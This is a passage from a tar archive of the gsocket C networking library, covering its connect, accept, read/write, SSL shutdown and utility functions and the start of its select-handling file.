if (gs_ctx == NULL)
return -1;
if (gsocket->flags & GS_FL_TCP_CONNECTED)
return 0; /* Already connected */
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox *sox = &gsocket->net.sox[i];
ret = gs_net_connect_new_socket(gsocket, sox);
if (ret != GS_SUCCESS)
return ret;
} /* FOR loop over all sockets */
return 0;
}
static void
gs_net_init_by_sox(GS_CTX *ctx, struct gs_sox *sox)
{
XFD_CLR(sox->fd, ctx->wfd);
XFD_CLR(sox->fd, ctx->rfd);
memset(sox, 0, sizeof *sox);
sox->fd = -1;
}
static void
gs_net_init(GS *gsocket, int backlog)
{
int i;
backlog = MIN(backlog, GS_MAX_SOX_BACKLOG);
gsocket->net.n_sox = backlog;
for (i = 0; i < gsocket->net.n_sox; i++)
{
gs_net_init_by_sox(gsocket->ctx, &gsocket->net.sox[i]);
}
}
/*
* Free fd from GS-NET structure and pass to application layer.
* Return 0 on success.
*
* This function is called by GS_accept() and GS_connect()
* GS_connect() is gsocket == new_gs because the same GS is used
* whereas for GS_accept() the gsocket is the listening socket (that will
* continue to listen) and new_gs is a newly created GS.
*/
static int
gs_net_disengage_tcp_fd(GS *gsocket, GS *new_gs)
{
int i;
int new_fd = -1;
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox * sox = &gsocket->net.sox[i];
if (sox->fd != gsocket->net.fd_accepted)
continue;
/*
* Return GS-connected socket fd to app (and stop processing any PKT on that fd...).
*/
new_fd = gsocket->net.fd_accepted;
gsocket->net.fd_accepted = -1;
gsocket->flags &= ~GS_FL_TCP_CONNECTED;
gsocket->net.conn_count -= 1;
if (gsocket->net.conn_count < 0)
ERREXIT("FATAL: conn_count dropped to %d\n", gsocket->net.conn_count);
sox->state = GS_STATE_SYS_NONE;
sox->fd = -1;
gs_instantiate(gsocket, new_gs, new_fd);
return 0;
}
DEBUGF("*** WARNING ***: Can This happen???\n");
return -2;
}
/*
* non-blocking.
* Return -1 for waiting.
* Return -2 on error
* Return 0 on success.
*/
static int
gs_connect(GS *gsocket)
{
int ret;
DEBUGF("gs_connect(fd = %d)\n", gsocket->fd);
/* Connect to GS-NET if not already connected */
if (!(gsocket->flags & GS_FL_CALLED_NET_CONNECT))
{
gsocket->flags |= GS_FL_CALLED_NET_CONNECT;
gsocket->flags |= GS_FL_IS_CLIENT;
gs_net_init(gsocket, 1);
DEBUGF("Connecting to GS-Net...\n");
ret = gs_net_connect(gsocket);
DEBUGF("gs_net_connect() = %d\n", ret);
if (ret != 0)
return GS_ERR_FATAL;
return GS_ERR_WAITING;
}
ret = gs_process(gsocket);
DEBUGF("gs_process() = %d, error(%d) = %s\n", ret, errno, errno?strerror(errno):"");
if (ret != 0)
return GS_ERR_FATAL;
if (gsocket->net.fd_accepted >= 0)
{
DEBUGF_B("New GS connection SUCCESS (fd = %d)\n", gsocket->net.fd_accepted);
/* On connect() we do not create a new socket but assign existing
* tcp-socket to this connection.
*/
ret = gs_net_disengage_tcp_fd(gsocket, gsocket);
if (ret != 0)
return GS_ERR_FATAL;
return 0;
}
return GS_ERR_WAITING;
}
/*
* Return 0 on success.
*/
static int
gs_connect_blocking(GS *gsocket)
{
int ret;
int n;
ret = gs_connect(gsocket);
GS_CTX *ctx = gsocket->ctx;
while (1)
{
struct timeval tv = {1, 0};
// FIXME: there could be many other fd's set here from other CTX. We really
// should only set our fd's from this gsocket (either ->fd or ->gs_net).
memcpy(ctx->r, ctx->rfd, sizeof *ctx->r);
memcpy(ctx->w, ctx->wfd, sizeof *ctx->w);
n = select(gsocket->ctx->max_sox + 1, ctx->r, ctx->w, NULL, &tv);
if ((n < 0) && (errno == EINTR))
continue;
gettimeofday(gsocket->ctx->tv_now, NULL);
GS_heartbeat(gsocket);
if (n == 0)
continue;
ret = gs_connect(gsocket);
DEBUGF("gs_connect() = %d, gsocket->fd = %d\n", ret, gsocket->fd);
if (ret == GS_ERR_WAITING)
continue;
if (ret == GS_ERR_FATAL)
return GS_ERR_FATAL;
DEBUGF("Setting FD BLOCKING\n");
int tcp_fd = gsocket->fd;
/* Make tcp fd 'blocking' for caller. */
fcntl(tcp_fd, F_SETFL, ~O_NONBLOCK & fcntl(tcp_fd, F_GETFL, 0));
return ret;
}
ERREXIT("Oops. This should not happen\n");
return GS_ERR_FATAL;
}
/*
* Return 0 on success.
* Return -1 if still waiting for connection to be established.
* Return -2 on error.
*/
int
GS_connect(GS *gsocket)
{
int ret;
DEBUG_SETID(gsocket);
if (gsocket->net.fd_accepted >= 0)
{
/* This GS-socket is already connected.... */
errno = EBUSY;
return GS_ERR_FATAL;
}
/* For auto-reconnecting client side (is it needed?) consider:
* - How to handle when no listening server is available
* - Warn user if GSRN is unavailable.
*/
// gsocket->flags |= GS_FL_AUTO_RECONNECT;
if (gsocket->flags & GSC_FL_NONBLOCKING)
ret = gs_connect(gsocket);
else
ret = gs_connect_blocking(gsocket);
if (ret < 0)
{
DEBUGF("GS_connect() will ret = %d (%s)\n", ret, ret==GS_ERR_WAITING?"WAITING":"FATAL");
return ret;
}
#ifdef WITH_GSOCKET_SSL
if (gsocket->flags & GSC_FL_USE_SRP)
{
ret = gs_srp_init(gsocket);
if (ret >= 0)
ret = 0; /* SUCCESS */
}
#endif
return ret;
}
/*
* Return 0 on success. This can not fail.
*/
int
GS_listen(GS *gsocket, int backlog)
{
DEBUG_SETID(gsocket);
gsocket->flags |= GS_FL_AUTO_RECONNECT;
gs_net_init(gsocket, backlog);
gs_net_connect(gsocket);
return 0;
}
static void
gs_listen_add_gs_select_by_sox(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val)
{
/* There might be some PING/PONG keepalive going on. Set both RW-fds
* and let GS_accept() figure it out.
* WARNING: If you change this also look for GS_select-HACK-1
*/
GS_SELECT_add_cb_r(ctx, func, fd, arg, val);
GS_SELECT_add_cb_w(ctx, func, fd, arg, val);
}
/*
* Helper function to set all fd's that the listening gsocket
* is using for calling accept() on. Listening gsocket's
* listen on more than just 1 fd to allow for gs-peers to connect
* rapidly. There usually is only 1 listening gsocket per process.
*/
void
GS_listen_add_gs_select(GS *gs, GS_SELECT_CTX *ctx, gselect_cb_t func, void *arg, int val)
{
gs->ctx->func_listen = func;
gs->ctx->cb_val_listen = val;
int i;
for (i = 0; i < gs->net.n_sox; i++)
{
int fd = gs->net.sox[i].fd;
gs_listen_add_gs_select_by_sox(ctx, func, fd, arg, val);
}
}
/*
* Return a GS on accept or NULL if still waiting.
*/
/*
* Return -1 on waiting
* Return -2 on fatal
* Return 0 on success.
*/
static int
gs_accept(GS *gsocket, GS *new_gs)
{
int ret;
DEBUGF("Called gs_accept(%p, %p)\n", gsocket, new_gs);
ret = gs_process(gsocket);
if (ret != 0)
{
DEBUGF("ERROR: in gs_process(), ret = %d\n", ret);
return GS_ERR_FATAL;
}
/* Check if there is a new gs-connection waiting */
if (gsocket->net.fd_accepted >= 0)
{
DEBUGF("New GS Connection accepted (fd = %d, n_sox = %d)\n", gsocket->net.fd_accepted, gsocket->net.n_sox);
ret = gs_net_disengage_tcp_fd(gsocket, new_gs);
XASSERT(ret == 0, "ret = %d\n", ret);
if (!(gsocket->flags & GS_FL_SINGLE_SHOT))
{
/* Start new TCP to GS-Net to listen for more incoming connections */
gs_net_connect(gsocket);
}
return GS_SUCCESS;
}
return GS_ERR_WAITING; /* Waiting for socket */
}
/*
* Return -1 on waiting
* Return -2 on fatal
* Return 0 on success.
*/
int
gs_accept_blocking(GS *gsocket, GS *new_gs)
{
int ret;
int n;
while (1)
{
struct timeval tv = {1, 0};
memcpy(gsocket->ctx->r, gsocket->ctx->rfd, sizeof *gsocket->ctx->r);
memcpy(gsocket->ctx->w, gsocket->ctx->wfd, sizeof *gsocket->ctx->w);
n = select(gsocket->ctx->max_sox + 1, gsocket->ctx->r, gsocket->ctx->w, NULL, &tv);
if ((n < 0) && (errno == EINTR))
continue;
if (n < 0)
DEBUGF_R("select(): %s\n", strerror(errno));
gettimeofday(gsocket->ctx->tv_now, NULL);
GS_heartbeat(gsocket);
if (n == 0)
continue;
ret = gs_accept(gsocket, new_gs);
if (ret == -2)
return -2;
if (ret == GS_ERR_WAITING)
continue;
/* Make tcp fd 'blocking' for caller. */
fcntl(new_gs->fd, F_SETFL, ~O_NONBLOCK & fcntl(new_gs->fd, F_GETFL, 0));
return 0;
}
ERREXIT("Oops. This should not happen\n");
return -2; /* NOT REACHED */
}
/*
* Return NULL on Waiting
* Return GS otherwise.
*
* This function can not return 'fatal' as any error such
* as SRP failure is recoverable by this sub-system (by for example
* opening a new connection and trying again).
*/
GS *
GS_accept(GS *gsocket, int *err)
{
GS gs_tmp;
int ret;
DEBUG_SETID(gsocket);
if (err != NULL)
*err = 0;
memset(&gs_tmp, 0, sizeof gs_tmp);
if (gsocket->flags & GSC_FL_NONBLOCKING)
ret = gs_accept(gsocket, &gs_tmp);
else
ret = gs_accept_blocking(gsocket, &gs_tmp);
if (ret < 0)
{
if (err != NULL)
*err = ret;
return NULL; /* WAITING or FATAL */
}
/* HERE: gs_accept() SUCCESS */
/* Instantiate gs */
GS *new_gs = calloc(1, sizeof *new_gs);
XASSERT(new_gs != NULL, "calloc()\n");
memcpy(new_gs, &gs_tmp, sizeof *new_gs);
memcpy(&new_gs->tv_connected, gsocket->ctx->tv_now, sizeof new_gs->tv_connected);
new_gs->flags |= GS_FL_IS_SERVER;
#ifdef WITH_GSOCKET_SSL
if (new_gs->flags & GSC_FL_USE_SRP)
{
ret = gs_srp_init(new_gs);
if (ret < 0)
{
DEBUGF("gs_srp_init() = %d (FAILED), Closing gs...\n", ret);
gs_close(new_gs); /* Free SSL and close socket */
if (err != NULL)
*err = -2;
return NULL;
}
}
#endif
/* All further will be handled by calls to GS_write() or GS_read() */
return new_gs;
}
/*
* as GS_close() but without call to free().
*/
static void
gs_close(GS *gsocket)
{
XASSERT(gsocket != NULL, "gsocket == NULL\n");
if (gsocket->fd >= 0)
{
DEBUGF_B("Closing I/O socket (fd = %d)\n", gsocket->fd);
FD_CLR(gsocket->fd, gsocket->ctx->rfd);
FD_CLR(gsocket->fd, gsocket->ctx->wfd);
FD_CLR(gsocket->fd, gsocket->ctx->r);
FD_CLR(gsocket->fd, gsocket->ctx->w);
/* HERE: This was not listening socket */
XCLOSE(gsocket->fd);
return;
}
/* HERE: There are GS-Net connections that need to be cleaned.*/
int i;
/* Close all TCP connections to GS-Network */
DEBUGF_B("Closing %d GSN connections\n", gsocket->net.n_sox);
for (i = 0; i < gsocket->net.n_sox; i++)
{
struct gs_sox * sox = &gsocket->net.sox[i];
if (sox->fd < 0)
continue;
DEBUGF_B("Closing I/O socket (sox->fd = %d)\n", sox->fd);
FD_CLR(sox->fd, gsocket->ctx->rfd);
FD_CLR(sox->fd, gsocket->ctx->wfd);
FD_CLR(sox->fd, gsocket->ctx->r);
FD_CLR(sox->fd, gsocket->ctx->w);
XCLOSE(sox->fd);
}
gsocket->net.n_sox = 0;
return;
}
/*
* Return 0 on success.
* Return -2 on fatal error.
*/
int
GS_close(GS *gsocket)
{
DEBUG_SETID(gsocket);
DEBUGF_B("read: %"PRId64", written: %"PRId64"\n", gsocket->bytes_read, gsocket->bytes_written);
if (gsocket == NULL)
return -2;
#ifdef WITH_GSOCKET_SSL
if (gsocket->flags & GSC_FL_USE_SRP)
{
if (gsocket->ssl != NULL)
{
DEBUGF_G("Calling SSL_free()\n");
SSL_free(gsocket->ssl);
gsocket->ssl = NULL;
} else {
DEBUGF_R("gs->ssl == NULL, This must be the listening socket.\n");
}
}
#endif
gs_close(gsocket);
memset(gsocket, 0, sizeof *gsocket);
free(gsocket);
return 0;
}
/*
* Return ERR_WAITING if I/O needs attention (blocking) [Will Trigger CALL-AGAIN]
* Return GS_SUCCESS if gsocket is still alive (for reading, but not writing)
* Return ERR_FATAL if gsocket is DONE (destroy connection).
* Return ERR_FATAL on fatal error (destroy connection).
*/
int
GS_shutdown(GS *gsocket)
{
int ret;
DEBUG_SETID(gsocket);
if (gsocket->flags & GSC_FL_USE_SRP)
{
if (gsocket->ssl_state != GS_SSL_STATE_RW)
{
/* Return if the SSL is not yet connected. We can not shut down
* unless it's connected. Shutdown triggered after SRP completion.
*/
gsocket->is_want_shutdown = 1;
return GS_SUCCESS;
}
ret = gs_ssl_shutdown(gsocket);
return ret;
} else {
gsocket->is_sent_shutdown = 1;
if (gsocket->eof_count >= 1)
ret = shutdown(gsocket->fd, SHUT_RDWR);
else
ret = shutdown(gsocket->fd, SHUT_WR);
DEBUGF_B("tcp shutdown() = %d\n", ret);
if (gsocket->eof_count == 0)
return GS_SUCCESS;
return GS_ERR_FATAL;
}
return GS_ERR_FATAL; /* NOT REACHED */
}
/*
* Return error string (0-terminated).
* Format: [ - ][[SSL-Error string]]
*/
const char *
GS_CTX_strerror(GS_CTX *gs_ctx)
{
char *dst = gs_ctx->err_buf2;
int dlen = sizeof gs_ctx->err_buf2;
*dst = 0;
// First record 'errno' (if set)
if (errno != 0)
snprintf(dst, dlen, "%s", strerror(errno));
// Then add everything from our internal error buffer
if (strlen(gs_ctx->err_buf) > 0)
{
if (errno != 0)
snprintf(dst + strlen(dst), dlen - strlen(dst), " - "); // strlcat(dst, " - ", dlen);
snprintf(dst + strlen(dst), dlen - strlen(dst), "%s", gs_ctx->err_buf);
}
/* Get the last SSL error only. Clear the error-queue */
int err = 0;
int err2;
while (1)
{
err2 = ERR_get_error();
DEBUGF_Y("err2 = %d\n", err2);
if (err2 == 0)
break;
err = err2;
}
if (err != 0)
{
snprintf(dst + strlen(dst), dlen - strlen(dst), " [%s]", ERR_error_string(err, NULL));
}
return gs_ctx->err_buf2;
}
const char *
GS_strerror(GS *gsocket)
{
return GS_CTX_strerror(gsocket->ctx);
}
/*
* Called after CTX has been created. Set template flags for GS.
* Flags are copied to GS on GS_new().
*/
int
GS_CTX_setsockopt(GS_CTX *ctx, int level, const void *opt_value, size_t opt_len)
{
/* PROTOCOL FLAGS -> copied into pkt's flags 1:1 */
if (level == GS_OPT_SOCKWAIT)
{
ctx->flags_proto |= GS_FL_PROTO_WAIT;
ctx->flags_proto &= ~GS_FL_PROTO_FAST_CONNECT; // Disable fast-connect
} else if (level == GS_OPT_CLIENT_OR_SERVER) {
ctx->flags_proto |= GS_FL_PROTO_CLIENT_OR_SERVER;
ctx->flags_proto &= ~GS_FL_PROTO_FAST_CONNECT; // Disable fast-connect
}
else if (level == GS_OPT_LOW_LATENCY)
ctx->flags_proto |= GS_FL_PROTO_LOW_LATENCY;
/* FLAGS */
else if (level == GS_OPT_BLOCK)
ctx->gs_flags &= ~GSC_FL_NONBLOCKING;
else if (level == GS_OPT_NO_ENCRYPTION)
ctx->gs_flags &= ~GSC_FL_USE_SRP;
else if (level == GS_OPT_SINGLESHOT)
ctx->gs_flags |= GS_FL_SINGLE_SHOT;
/* OPTIONS */
else if (level == GS_OPT_USE_SOCKS)
{
/* Set if not already set from GS_CTX_init() */
if (ctx->socks_ip == 0)
ctx->socks_ip = inet_addr(GS_SOCKS_DFL_IP);
} else
return -1;
return 0; // Success
}
void
GS_FD_CLR_R(GS *gs)
{
GS_SELECT_CTX *sctx = gs->ctx->gselect_ctx;
int fd = gs->fd;
if (sctx->is_rw_state_saved[fd])
{
// DEBUGF_R("Clearing fd=%d in SAVES state\n", fd);
/* Add to saved state */
sctx->saved_rw_state[fd] &= ~0x01; /* clear READ */
} else {
// DEBUGF_R("Clearing fd=%d in rfd state\n", fd);
FD_CLR(fd, sctx->rfd);
}
}
/*
* Return 0 on WOULD_BLOCK
* Return FATAL on error
* Return EOF
* Return length on SUCCESS
*/
ssize_t
GS_read(GS *gsocket, void *buf, size_t count)
{
ssize_t len;
int err = 0;
// DEBUGF("GS_read(fd = %d)...\n", gsocket->fd);
GS_SELECT_CTX *sctx = gsocket->ctx->gselect_ctx;
DEBUG_SETID(gsocket);
if (gsocket->flags & GSC_FL_USE_SRP)
{
#ifndef WITH_GSOCKET_SSL
return GS_ERR_FATAL;
#else
len = gs_ssl_continue(gsocket, GS_CAN_READ);
// DEBUGF("gs_ssl_continue()==%zd, ssl-state=%d\n", len, gsocket->ssl_state);
if (len <= 0)
return len;
len = SSL_read(gsocket->ssl, buf, count);
if (len <= 0)
{
err = SSL_get_error(gsocket->ssl, len);
DEBUGF_Y("fd=%d, SSL Error: ret = %zd, err = %d (%s)\n", gsocket->fd, len, err, GS_SSL_strerror(err));
ERR_print_errors_fp(stderr);
}
#endif
} else {
len = read(gsocket->fd, buf, count);
// DEBUGF_M("read(fd=%d) = %zd, errno = %d\n", gsocket->fd, len, errno);
if (len == 0)
{
/* See BUG-TCP-SHUTDOWN: We must stop calling read() if we received
* a shutdown() or close() [can not differentiate]. Stop receiving
* but still allow sending until write() fails or stdin closes (for gs-pipe)
*/
/* Must clear both so to never ever read() again (cleartext) */
GS_FD_CLR_R(gsocket);
FD_CLR(GS_get_fd(gsocket), gsocket->ctx->rfd);
err = SSL_ERROR_ZERO_RETURN;
}
if (len < 0)
{
if ((errno != EAGAIN) && (errno != EINTR))
return GS_ERR_FATAL;
err = SSL_ERROR_WANT_READ;
}
}
/* SSL_ERROR_ZERO_RETURNS successfully read from socket (an error message, but
* nevertheless...we can get out of our saved state gain)
*/
if ((len > 0) || (err == SSL_ERROR_ZERO_RETURN))
{
errno = 0;
gsocket->ts_net_io = GS_TV_TO_USEC(gsocket->ctx->tv_now);
gsocket->bytes_read += len;
// DEBUGF("write_pending=%d\n", gsocket->write_pending);
if (gsocket->write_pending == 0)
gs_ssl_want_io_finished(gsocket);
gsocket->read_pending = 0;
gsocket->ctx->gselect_ctx->blocking_func[gsocket->fd] &= ~GS_CALLREAD;
// gsocket->ctx->gselect_ctx->current_func[gsocket->fd] = 0;
/* Mark if there is still data in the input buffer so another cb is done */
#ifdef WITH_GSOCKET_SSL
if ((gsocket->ssl) && (SSL_pending(gsocket->ssl) > 0))
{
DEBUGF("rdata-pending\n");
gs_select_set_rdata_pending(gsocket->ctx->gselect_ctx, gsocket->fd, SSL_pending(gsocket->ssl));
}
#endif
}
if (len > 0)
return len; // HERE: len > 0
/* ERROR */
if (err == SSL_ERROR_ZERO_RETURN)
{
gsocket->eof_count++;
DEBUGF_R("%d. EOF received by gs (fd = %d).\n", gsocket->eof_count, gsocket->fd);
/* Second EOF means that the underlying transport was shut (TCP). It's a hard fail. */
if (gsocket->eof_count >= 2)
return GS_ERR_FATAL;
/* We sent shutdown already and now we receive a shutdown => Destroy connection. */
if (gsocket->is_sent_shutdown)
{
DEBUGF_B("I sent a shutdown already. Destroy connection now.\n");
return GS_ERR_FATAL;
}
return GS_ERR_EOF;
}
gsocket->read_pending = 1;
int ret;
ret = 0;
if (err == SSL_ERROR_WANT_WRITE)
{
sctx->blocking_func[gsocket->fd] |= GS_CALLREAD;
ret = gs_ssl_want_io_rw(sctx, gsocket->fd, err);
}
if (err != SSL_ERROR_WANT_READ)
return GS_ERR_FATAL; // Any other error
return ret;
}
void
GS_SELECT_FD_SET_W(GS *gs)
{
GS_SELECT_CTX *sctx = gs->ctx->gselect_ctx;
int fd = gs->fd;
if (sctx->is_rw_state_saved[fd])
{
/* Add to saved state */
sctx->saved_rw_state[fd] |= 0x02; /* add WRITE */
} else {
XFD_SET(fd, sctx->wfd);
}
}
/*
* Return 0 on WOULD_BLOCK
* Return -1 on error
* Return -2 nothing to be done.
* Return lengh on SUCCESS
*/
ssize_t
GS_write(GS *gsocket, const void *buf, size_t count)
{
ssize_t len;
int err;
DEBUG_SETID(gsocket);
// If already in a stored state then modify the stored state and return to caller
// that to be called again (caller must not modify rfd/wfd as this is used by SSL...)
GS_SELECT_CTX *sctx = gsocket->ctx->gselect_ctx;
// DEBUGF("fd=%d, count=%zu is_state_saved=%d(==%d), pending=%d\n", gsocket->fd, count, sctx->is_rw_state_saved[gsocket->fd], sctx->saved_rw_state[gsocket->fd], gsocket->write_pending);
if (sctx->is_rw_state_saved[gsocket->fd])
{
/* HERE: *write() blocked previously or SSL_read() WANTS-WRITE */
if (gsocket->write_pending == 0)
{
/* HERE: GS_write() was called but SSL still busy with SSL_read/SSL_accpet/SSL_connect.
* Set wfd in saved state so that when state is restored this function
* is triggered.
*/
DEBUGF_R("*** WARNING **** Wanting to write app data (%zu) while SSL is busy..\n", count);
GS_SELECT_FD_SET_W(gsocket);
/* This should never be called again because we disable cmd's FD-IN */
return 0; /* WOULD BLOCK */
}
/* HERE: w-fd became writeable while in saved state */
}
// DEBUGF("GS_write(%zu) to fd = %d, ssl = %p\n", count, gsocket->fd, gsocket->ssl);
if (gsocket->flags & GSC_FL_USE_SRP)
{
#ifndef WITH_GSOCKET_SSL
return -1;
#else
len = gs_ssl_continue(gsocket, GS_CAN_WRITE);
if (len <= 0)
{
// HERE: ssl-state continued. Return.
DEBUGF("gs_ssl_continue()==%zd\n", len);
return len;
}
// No state to continue
if (count == 0)
{
// This can happen if we receive an app-ping. This sets
// wfd (for writing) to wake up to send the pong-reply.
// The write-callback is called and does not know if the SSL-state
// has to continue (wanted write?) or if it is an outstanding pong-reply.
// Thus the callback calls GS_write() and _here_ we determine that no
// SSL-state needed attention. The caller then sends the pong.
DEBUGF_C("GS_write() with no data. NO stuck state either.\n");
return -2;
}
len = SSL_write(gsocket->ssl, buf, count);
// DEBUGF_M("SSL_write(%zu) == %zd\n", count, len);
if (len <= 0)
{
err = SSL_get_error(gsocket->ssl, len);
DEBUGF_Y("fd=%d (count=%zu), SSL Error: ret = %zd, err = %d (%s)\n", gsocket->fd, count, len, err, GS_SSL_strerror(err));
}
#endif
} else {
if (count == 0)
return -2; // Nothing to be done.
len = write(gsocket->fd, buf, count);
// DEBUGF("write(%zu) = %zd (%s)\n", count, len, errno==0?"ok":strerror(errno));
if (len <= 0)
{
if ((errno != EAGAIN) && (errno != EINTR))
return -1;
err = SSL_ERROR_WANT_WRITE;
}
}
if (len > 0)
{
errno = 0;
gsocket->bytes_written += len;
if (gsocket->read_pending == 0)
gs_ssl_want_io_finished(gsocket);
gsocket->write_pending = 0;
sctx->blocking_func[gsocket->fd] &= ~GS_CALLWRITE;
FD_CLR(gsocket->fd, sctx->wfd);
return len;
}
/* ERROR */
int ret;
ret = 0;
#if 1
sctx->blocking_func[gsocket->fd] |= GS_CALLWRITE;
ret = gs_ssl_want_io_rw(sctx, gsocket->fd, err);
#endif
gsocket->write_pending = 1;
// DEBUGF("write = %zd %s\n", len, strerror(errno));
return ret;
}
/******************************************************************************
* GS UTILS *
******************************************************************************/
/*
* Convert usec into human readable string of duration.
* '123hrs 59min 59.283sec'
*/
char *
GS_usecstr(char *buf, size_t len, uint64_t usec)
{
static char buf2[64];
char *ptr = buf;
if (buf == NULL)
{
len = sizeof buf2;
ptr = buf2;
}
int sec;
int min;
int msec;
int hr;
// usec = (uint64_t)((2*60*60+61)*1000 + 123) * 1000;
msec = (usec / 1000) % 1000;
sec = usec / 1000000;
hr = sec / 3600;
sec -= hr * 3600;
min = sec / 60;
sec -= min * 60;
*ptr = 0;
if (hr != 0)
snprintf(ptr, len, "%dhrs %2dmin %2d.%03dsec", hr, min, sec, msec);
else
snprintf(ptr, len, "%2d min %2d.%03d sec", min, sec, msec);
return ptr;
}
/*
* Convert bytes into human readable string (TB, MB, KB or B).
*/
char *
GS_bytesstr(char *dst, size_t len, int64_t bytes)
{
static char buf2[64];
char *ptr = dst;
if (dst == NULL)
{
len = sizeof buf2;
ptr = buf2;
}
int i;
bytes *= 100;
for (i = 0; bytes >= 100*1000 && unit[i] != 'T'; i++)
bytes = (bytes + 512) / 1024;
snprintf(ptr, len, "%3lld.%1lld%c%s",
(long long) (bytes + 5) / 100,
(long long) (bytes + 5) / 10 % 10,
unit[i],
i ? "B" : " ");
return ptr;
}
/*
* Convert bytes into full length string with thousands seperation ','
*/
char *
GS_bytesstr_long(char *dst, size_t len, int64_t bytes)
{
if (dst == NULL)
return NULL;
int m = bytes / 1000 / 1000;
bytes -= m * 1000 * 1000;
int k = bytes / 1000;
bytes -= k * 1000;
if (m > 0)
snprintf(dst, len, "%d,%03d,%03d", m, k, (int)bytes);
else if (k > 0)
snprintf(dst, len, "%d,%03d", k, (int)bytes);
else
snprintf(dst, len, "%d", (int)bytes);
return dst;
}
/*
* Create 'local' timestamp logfile style.
*/
const char *
GS_logtime(void)
{
static char tbuf[32];
time_t t = time(NULL);
strftime(tbuf, sizeof tbuf, "%c", localtime(&t));
return tbuf;
}
/*
* Set the 'listen' token. This will stop a client (who knows the secret) to
* impersonate a server (while the server is connected).
*
* A User might decide to use the same 'token' as a kind of master password
* for all its servers. We like not to be able to track the User. Thus the
* token is a hash over TOKEN-STRING + GS-ADDRESS. This makes every token unique
* per GS-ADDRESS.
*
* FIXME: extend this later to use as an auth-token:
* - store token on GS-net server side
* - Any 'server' connecting must present same token to be allowed
* to send pkt-listen message.
* - User can control this with e.g. '-a '
*/
void
GS_set_token(GS *gs, const void *data, size_t len)
{
unsigned char md[SHA256_DIGEST_LENGTH];
uint8_t *input;
if (data == NULL)
RAND_bytes(gs->token, sizeof gs->token);
else {
input = malloc(len + sizeof gs->gs_addr.addr);
memcpy(input, data, len);
memcpy(input + len, gs->gs_addr.addr, sizeof gs->gs_addr.addr);
SHA256(input, len + sizeof gs->gs_addr.addr, md);
memcpy(gs->token, md, sizeof gs->token);
free(input);
}
HEXDUMPF(gs->token, sizeof gs->token, "Token:\n");
}
int
GS_is_server(GS *gs)
{
return gs->flags & GS_FL_IS_SERVER;
}
gsocket-1.4.33/lib/gsocket-engine.h 0000664 0000000 0000000 00000001653 14072625040 0017067 0 ustar 00root root 0000000 0000000
#ifndef __LIBGSOCKET_ENGINE_H__
#define __LIBGSOCKET_ENGINE_H__ 1
void gs_ssl_want_io_finished(GS *gs);
int gs_ssl_continue(GS *gsocket, enum gs_rw_state_t rw_state);
int gs_ssl_want_io_rw(GS_SELECT_CTX *ctx, int fd, int err);
int gs_ssl_shutdown(GS *gsocket);
int gs_srp_init(GS *gsocket);
void gs_select_rw_save_state(GS_SELECT_CTX *ctx, int fd, char *idstr);
void gs_select_rw_restore_state(GS_SELECT_CTX *ctx, int fd, char *idstr);
void gs_select_set_rdata_pending(GS_SELECT_CTX *ctx, int fd, int len);
void gs_fds_out(fd_set *fdset, int max, char id);
void gs_fds_out_rwfd(GS_SELECT_CTX *ctx);
void gs_fds_out_fd(fd_set *fdset, char id, int fd);
#define gs_ctx_set_errorf(ctx, a...) do{snprintf((ctx)->err_buf, sizeof (ctx)->err_buf, a);} while(0)
#define gs_set_errorf(gs, a...) gs_ctx_set_errorf((gs)->ctx, a)
// do{snprintf((gs)->ctx->err_buf, sizeof (gs)->ctx->err_buf, a);} while(0)
#endif /* !__LIBGSOCKET_ENGINE_H__ */
gsocket-1.4.33/lib/gsocket-select.c 0000664 0000000 0000000 00000020733 14072625040 0017074 0 ustar 00root root 0000000 0000000
#include "gs-common.h"
#include
#include
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
/********* FUNCTIONS ********************/
int
GS_SELECT_CTX_init(GS_SELECT_CTX *ctx, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now, int frequency)
{
memset(ctx, 0, sizeof *ctx);
ctx->rfd = rfd;
ctx->wfd = wfd;
ctx->r = r;
ctx->w = w;
ctx->tv_now = tv_now;
gettimeofday(ctx->tv_now, NULL);
GS_EVENT_MGR_init(&ctx->emgr);
GS_EVENT_add_by_ts(&ctx->emgr, &ctx->hb, 0, frequency, NULL, NULL, 0);
// ctx->hb_init = GS_TV_TO_USEC(ctx->tv_now);
// ctx->hb_freq = frequency;
int i;
for (i = 0; i < FD_SETSIZE; i++)
{
ctx->mgr_r[i].func = NULL;
ctx->mgr_w[i].func = NULL;
}
return 0;
}
void
gs_select_rw_save_state(GS_SELECT_CTX *ctx, int fd, char *idstr)
{
/* Save rfd/wfd state */
if (ctx->is_rw_state_saved[fd] == 1)
{
// DEBUGF_R("*** WARNING ***: RWFD already saved. SKIPPING (fd = %d, %s)\n", fd, idstr);
return;
}
DEBUGF_M("Saving state (fd = %d, %s):\n", fd, idstr);
gs_fds_out_fd(ctx->rfd, 'r', fd);
gs_fds_out_fd(ctx->wfd, 'w', fd);
ctx->saved_rw_state[fd] = 0;
ctx->is_rw_state_saved[fd] = 1;
if (FD_ISSET(fd, ctx->rfd))
ctx->saved_rw_state[fd] |= 0x01;
if (FD_ISSET(fd, ctx->wfd))
ctx->saved_rw_state[fd] |= 0x02;
}
void
gs_select_rw_restore_state(GS_SELECT_CTX *ctx, int fd, char *idstr)
{
if (ctx->is_rw_state_saved[fd] == 0)
{
// DEBUGF("RWFD was not saved. Nothing to restore (fd = %d, %s).\n", fd, idstr);
return;
}
// DEBUGF_B("Restoring RWFD state (fd = %d, %s, %d)\n", fd, idstr, ctx->is_rw_state_saved[fd]);
/* This can happen when FD was half-closed (shutdown received):
* - We stopped reading (rfd not set)
* - Write() triggered would-block (wfd set) and then restored to 0.
*/
if (ctx->saved_rw_state[fd] == 0)
DEBUGF_Y("*** NOTE ***: Restoring empty RW state (fd = %d, %s)\n", fd, idstr);
ctx->is_rw_state_saved[fd] = 0;
FD_CLR(fd, ctx->rfd);
FD_CLR(fd, ctx->wfd);
if (ctx->saved_rw_state[fd] & 0x01)
XFD_SET(fd, ctx->rfd);
if (ctx->saved_rw_state[fd] & 0x02)
XFD_SET(fd, ctx->wfd);
ctx->saved_rw_state[fd] = 0;
if (fd > 0)
{
DEBUGF_M("Restored state:\n");
gs_fds_out_fd(ctx->rfd, 'r', fd);
gs_fds_out_fd(ctx->wfd, 'w', fd);
}
}
void
gs_select_set_rdata_pending(GS_SELECT_CTX *ctx, int fd, int len)
{
ctx->rdata_pending_count++;
